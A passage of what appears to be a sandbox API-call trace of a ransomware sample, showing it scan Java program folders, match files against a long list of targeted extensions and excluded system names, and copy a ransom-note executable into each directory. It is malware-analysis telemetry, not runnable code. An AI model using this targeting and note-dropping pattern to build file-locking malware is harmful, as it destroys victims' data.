	[0055.256] lstrlenW (lpString="rbf") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="rbf") returned -1
	[0055.256] lstrlenW (lpString="rctd") returned 4
	[0055.256] lstrcmpiW (lpString1=".jfc", lpString2="rctd") returned -1
	[0055.256] lstrlenW (lpString="rod") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="rod") returned -1
	[0055.256] lstrlenW (lpString="rodx") returned 4
	[0055.256] lstrcmpiW (lpString1=".jfc", lpString2="rodx") returned -1
	[0055.256] lstrlenW (lpString="rpd") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="rpd") returned -1
	[0055.256] lstrlenW (lpString="rsd") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="rsd") returned -1
	[0055.257] lstrlenW (lpString="sas7bdat") returned 8
	[0055.257] lstrcmpiW (lpString1="ault.jfc", lpString2="sas7bdat") returned -1
	[0055.257] lstrlenW (lpString="sbf") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="sbf") returned -1
	[0055.257] lstrlenW (lpString="scx") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="scx") returned -1
	[0055.257] lstrlenW (lpString="sdb") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="sdb") returned -1
	[0055.257] lstrlenW (lpString="sdc") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="sdc") returned -1
	[0055.257] lstrlenW (lpString="sdf") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="sdf") returned -1
	[0055.257] lstrlenW (lpString="sis") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="sis") returned -1
	[0055.257] lstrlenW (lpString="spq") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="spq") returned -1
	[0055.257] lstrlenW (lpString="te") returned 2
	[0055.257] lstrcmpiW (lpString1="fc", lpString2="te") returned -1
	[0055.257] lstrlenW (lpString="teacher") returned 7
	[0055.257] lstrcmpiW (lpString1="ult.jfc", lpString2="teacher") returned 1
	[0055.257] lstrlenW (lpString="tmd") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="tmd") returned -1
	[0055.257] lstrlenW (lpString="tps") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="tps") returned -1
	[0055.257] lstrlenW (lpString="trc") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="trc") returned -1
	[0055.257] lstrlenW (lpString="trc") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="trc") returned -1
	[0055.257] lstrlenW (lpString="trm") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="trm") returned -1
	[0055.257] lstrlenW (lpString="udb") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="udb") returned -1
	[0055.257] lstrlenW (lpString="udl") returned 3
	[0055.257] lstrcmpiW (lpString1="jfc", lpString2="udl") returned -1
	[0055.258] lstrlenW (lpString="usr") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="usr") returned -1
	[0055.258] lstrlenW (lpString="v12") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="v12") returned -1
	[0055.258] lstrlenW (lpString="vis") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="vis") returned -1
	[0055.258] lstrlenW (lpString="vpd") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="vpd") returned -1
	[0055.258] lstrlenW (lpString="vvv") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="vvv") returned -1
	[0055.258] lstrlenW (lpString="wdb") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="wdb") returned -1
	[0055.258] lstrlenW (lpString="wmdb") returned 4
	[0055.258] lstrcmpiW (lpString1=".jfc", lpString2="wmdb") returned -1
	[0055.258] lstrlenW (lpString="wrk") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="wrk") returned -1
	[0055.258] lstrlenW (lpString="xdb") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="xdb") returned -1
	[0055.258] lstrlenW (lpString="xld") returned 3
	[0055.258] lstrcmpiW (lpString1="jfc", lpString2="xld") returned -1
	[0055.258] lstrlenW (lpString="xmlff") returned 5
	[0055.258] lstrcmpiW (lpString1="t.jfc", lpString2="xmlff") returned -1
	[0055.258] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3900d8d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3900d8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.258] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.258] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="Apollon865.txt.exe") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2=".") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="..") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="windows") returned -1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="bootmgr") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="temp") returned -1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="pagefile.sys") returned 1
	[0055.258] lstrcmpiW (lpString1="profile.jfc", lpString2="boot") returned 1
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2="ids.txt") returned 1
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2="ntuser.dat") returned 1
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2="perflogs") returned 1
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2="MSBuild") returned 1
	[0055.259] lstrlenW (lpString="profile.jfc") returned 11
	[0055.259] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc") returned 52
	[0055.259] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="profile.jfc" | out: lpString1="profile.jfc") returned="profile.jfc"
	[0055.259] lstrlenW (lpString="profile.jfc") returned 11
	[0055.259] lstrlenW (lpString="Apollon865") returned 10
	[0055.259] lstrcmpiW (lpString1="rofile.jfc", lpString2="Apollon865") returned 1
	[0055.259] lstrlenW (lpString=".dll") returned 4
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2=".dll") returned 1
	[0055.259] lstrlenW (lpString=".lnk") returned 4
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2=".lnk") returned 1
	[0055.259] lstrlenW (lpString=".ini") returned 4
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2=".ini") returned 1
	[0055.259] lstrlenW (lpString=".sys") returned 4
	[0055.259] lstrcmpiW (lpString1="profile.jfc", lpString2=".sys") returned 1
	[0055.259] lstrlenW (lpString="profile.jfc") returned 11
	[0055.259] lstrlenW (lpString="bak") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="bak") returned 1
	[0055.259] lstrlenW (lpString="ba_") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="ba_") returned 1
	[0055.259] lstrlenW (lpString="dbb") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="dbb") returned 1
	[0055.259] lstrlenW (lpString="vmdk") returned 4
	[0055.259] lstrcmpiW (lpString1=".jfc", lpString2="vmdk") returned -1
	[0055.259] lstrlenW (lpString="rar") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="rar") returned -1
	[0055.259] lstrlenW (lpString="zip") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="zip") returned -1
	[0055.259] lstrlenW (lpString="tgz") returned 3
	[0055.259] lstrcmpiW (lpString1="jfc", lpString2="tgz") returned -1
	[0055.259] lstrlenW (lpString="vbox") returned 4
	[0055.259] lstrcmpiW (lpString1=".jfc", lpString2="vbox") returned -1
	[0055.259] lstrlenW (lpString="vdi") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="vdi") returned -1
	[0055.260] lstrlenW (lpString="vhd") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="vhd") returned -1
	[0055.260] lstrlenW (lpString="vhdx") returned 4
	[0055.260] lstrcmpiW (lpString1=".jfc", lpString2="vhdx") returned -1
	[0055.260] lstrlenW (lpString="avhd") returned 4
	[0055.260] lstrcmpiW (lpString1=".jfc", lpString2="avhd") returned -1
	[0055.260] lstrlenW (lpString="db") returned 2
	[0055.260] lstrcmpiW (lpString1="fc", lpString2="db") returned 1
	[0055.260] lstrlenW (lpString="db2") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="db2") returned 1
	[0055.260] lstrlenW (lpString="db3") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="db3") returned 1
	[0055.260] lstrlenW (lpString="dbf") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="dbf") returned 1
	[0055.260] lstrlenW (lpString="mdf") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="mdf") returned -1
	[0055.260] lstrlenW (lpString="mdb") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="mdb") returned -1
	[0055.260] lstrlenW (lpString="sql") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="sql") returned -1
	[0055.260] lstrlenW (lpString="sqlite") returned 6
	[0055.260] lstrcmpiW (lpString1="le.jfc", lpString2="sqlite") returned -1
	[0055.260] lstrlenW (lpString="sqlite3") returned 7
	[0055.260] lstrcmpiW (lpString1="ile.jfc", lpString2="sqlite3") returned -1
	[0055.260] lstrlenW (lpString="sqlitedb") returned 8
	[0055.260] lstrcmpiW (lpString1="file.jfc", lpString2="sqlitedb") returned -1
	[0055.260] lstrlenW (lpString="xml") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="xml") returned -1
	[0055.260] lstrlenW (lpString="$er") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="$er") returned 1
	[0055.260] lstrlenW (lpString="4dd") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="4dd") returned 1
	[0055.260] lstrlenW (lpString="4dl") returned 3
	[0055.260] lstrcmpiW (lpString1="jfc", lpString2="4dl") returned 1
	[0055.261] lstrlenW (lpString="^^^") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="^^^") returned 1
	[0055.261] lstrlenW (lpString="abs") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="abs") returned 1
	[0055.261] lstrlenW (lpString="abx") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="abx") returned 1
	[0055.261] lstrlenW (lpString="accdb") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accdb") returned 1
	[0055.261] lstrlenW (lpString="accdc") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accdc") returned 1
	[0055.261] lstrlenW (lpString="accde") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accde") returned 1
	[0055.261] lstrlenW (lpString="accdr") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accdr") returned 1
	[0055.261] lstrlenW (lpString="accdt") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accdt") returned 1
	[0055.261] lstrlenW (lpString="accdw") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accdw") returned 1
	[0055.261] lstrlenW (lpString="accft") returned 5
	[0055.261] lstrcmpiW (lpString1="e.jfc", lpString2="accft") returned 1
	[0055.261] lstrlenW (lpString="adb") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="adb") returned 1
	[0055.261] lstrlenW (lpString="adb") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="adb") returned 1
	[0055.261] lstrlenW (lpString="ade") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="ade") returned 1
	[0055.261] lstrlenW (lpString="adf") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="adf") returned 1
	[0055.261] lstrlenW (lpString="adn") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="adn") returned 1
	[0055.261] lstrlenW (lpString="adp") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="adp") returned 1
	[0055.261] lstrlenW (lpString="alf") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="alf") returned 1
	[0055.261] lstrlenW (lpString="ask") returned 3
	[0055.261] lstrcmpiW (lpString1="jfc", lpString2="ask") returned 1
	[0055.262] lstrlenW (lpString="btr") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="btr") returned 1
	[0055.262] lstrlenW (lpString="cat") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="cat") returned 1
	[0055.262] lstrlenW (lpString="cdb") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="cdb") returned 1
	[0055.262] lstrlenW (lpString="ckp") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="ckp") returned 1
	[0055.262] lstrlenW (lpString="cma") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="cma") returned 1
	[0055.262] lstrlenW (lpString="cpd") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="cpd") returned 1
	[0055.262] lstrlenW (lpString="dacpac") returned 6
	[0055.262] lstrcmpiW (lpString1="le.jfc", lpString2="dacpac") returned 1
	[0055.262] lstrlenW (lpString="dad") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dad") returned 1
	[0055.262] lstrlenW (lpString="dadiagrams") returned 10
	[0055.262] lstrcmpiW (lpString1="rofile.jfc", lpString2="dadiagrams") returned 1
	[0055.262] lstrlenW (lpString="daschema") returned 8
	[0055.262] lstrcmpiW (lpString1="file.jfc", lpString2="daschema") returned 1
	[0055.262] lstrlenW (lpString="db-journal") returned 10
	[0055.262] lstrcmpiW (lpString1="rofile.jfc", lpString2="db-journal") returned 1
	[0055.262] lstrlenW (lpString="db-shm") returned 6
	[0055.262] lstrcmpiW (lpString1="le.jfc", lpString2="db-shm") returned 1
	[0055.262] lstrlenW (lpString="db-wal") returned 6
	[0055.262] lstrcmpiW (lpString1="le.jfc", lpString2="db-wal") returned 1
	[0055.262] lstrlenW (lpString="dbc") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dbc") returned 1
	[0055.262] lstrlenW (lpString="dbs") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dbs") returned 1
	[0055.262] lstrlenW (lpString="dbt") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dbt") returned 1
	[0055.262] lstrlenW (lpString="dbv") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dbv") returned 1
	[0055.262] lstrlenW (lpString="dbx") returned 3
	[0055.262] lstrcmpiW (lpString1="jfc", lpString2="dbx") returned 1
	[0055.263] lstrlenW (lpString="dcb") returned 3
	[0055.263] lstrcmpiW (lpString1="jfc", lpString2="dcb") returned 1
	[0055.263] lstrcmpiW (lpString1="jfc", lpString2="dct") returned 1
	[0055.263] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images"
	[0055.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5986a8 | out: hHeap=0x580000) returned 1
	[0055.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0055.263] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned 43
	[0055.263] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images"
	[0055.263] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.263] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.267] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39033a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.267] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39033a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.267] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.267] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.267] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.267] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.267] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="Apollon865.txt.exe") returned 1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2=".") returned 1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="..") returned 1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="windows") returned -1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="bootmgr") returned 1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="temp") returned -1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="pagefile.sys") returned -1
	[0055.267] lstrcmpiW (lpString1="cursors", lpString2="boot") returned 1
	[0055.268] lstrcmpiW (lpString1="cursors", lpString2="ids.txt") returned -1
	[0055.268] lstrcmpiW (lpString1="cursors", lpString2="ntuser.dat") returned -1
	[0055.268] lstrcmpiW (lpString1="cursors", lpString2="perflogs") returned -1
	[0055.268] lstrcmpiW (lpString1="cursors", lpString2="MSBuild") returned -1
	[0055.268] lstrlenW (lpString="cursors") returned 7
	[0055.268] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*") returned 45
	[0055.268] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="cursors" | out: lpString1="cursors") returned="cursors"
	[0055.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0055.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5c8f30
	[0055.268] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0055.268] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39033a30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.268] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.268] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39033a30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0055.268] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.268] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bd0
	[0055.268] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors"
	[0055.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0055.268] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned 51
	[0055.268] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors"
	[0055.268] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.268] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39033a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.274] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.274] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.274] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39033a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39033a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.274] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.274] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.274] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.274] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.274] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="Apollon865.txt.exe") returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2=".") returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="..") returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="windows") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="bootmgr") returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="temp") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="pagefile.sys") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="boot") returned 1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="ids.txt") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="ntuser.dat") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="perflogs") returned -1
	[0055.274] lstrcmpiW (lpString1="cursors.properties", lpString2="MSBuild") returned -1
	[0055.274] lstrlenW (lpString="cursors.properties") returned 18
	[0055.274] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*") returned 53
